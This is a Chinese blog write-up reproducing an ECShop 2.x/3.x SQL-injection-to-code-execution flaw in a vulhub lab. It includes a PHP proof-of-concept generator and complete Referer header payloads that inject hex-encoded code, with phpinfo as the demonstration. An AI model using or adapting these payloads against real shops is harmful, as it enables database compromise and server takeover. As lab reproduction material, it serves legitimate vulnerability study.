ECShop 2.x或3.x SQL 注入或远程执行代码漏洞

0x01漏洞概述

ECShop是一个B2C独立商店系统,供公司和个人快速建立个性化的在线商店。该系统是基于PHP语言和MYSQL数据库架构的跨平台开源程序。

在 2017 年及之前的版本中,存在一个 SQL 注入漏洞,该漏洞可能会注入有效负载并最终导致代码执行漏洞。最新版本的 3.6.0 修复了该漏洞,vulhub 使用其最新版本 2.7.3 和 3.6.0 非最新版本版本重现该漏洞。

参考链接:

https://paper.seebug.org/691/

0x02漏洞环境

1、启动漏洞环境

┌──(root㉿kali)-[~/vulhub/ecshop/xianzhi-2017-02-82239600]
└─# docker-compose up -d

2、访问漏洞环境

环境启动成功后,访问http://your-ip:8080,将会看到2.7.3安装页面。

访问http://your-ip:8081,将会看到3.6.0 安装页面。

两个都安装,mysql地址是mysql,mysql账号和密码是root,数据库名随便填,但是2.7.3和3.6.0的数据库名不能一样。

其他配置均选择默认即可,成功安装。

3、复现完成后,删除漏洞环境

┌──(root㉿kali)-[~/vulhub/ecshop/xianzhi-2017-02-82239600]
└─# docker-compose down 

0x03复现过程

1、在phpstudy运行,可以为2.x 和 3.x 生成 poc:

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

生成的poc为:

2、复现结果(2.x)

Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

成功显示php版本信息,2.x复现成功。

3、复现结果(3.x)

Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

成功显示php版本信息,3.x复现成功。

posted @ 2022-06-07 09:27  RichardYg  阅读(344)  评论(0编辑  收藏  举报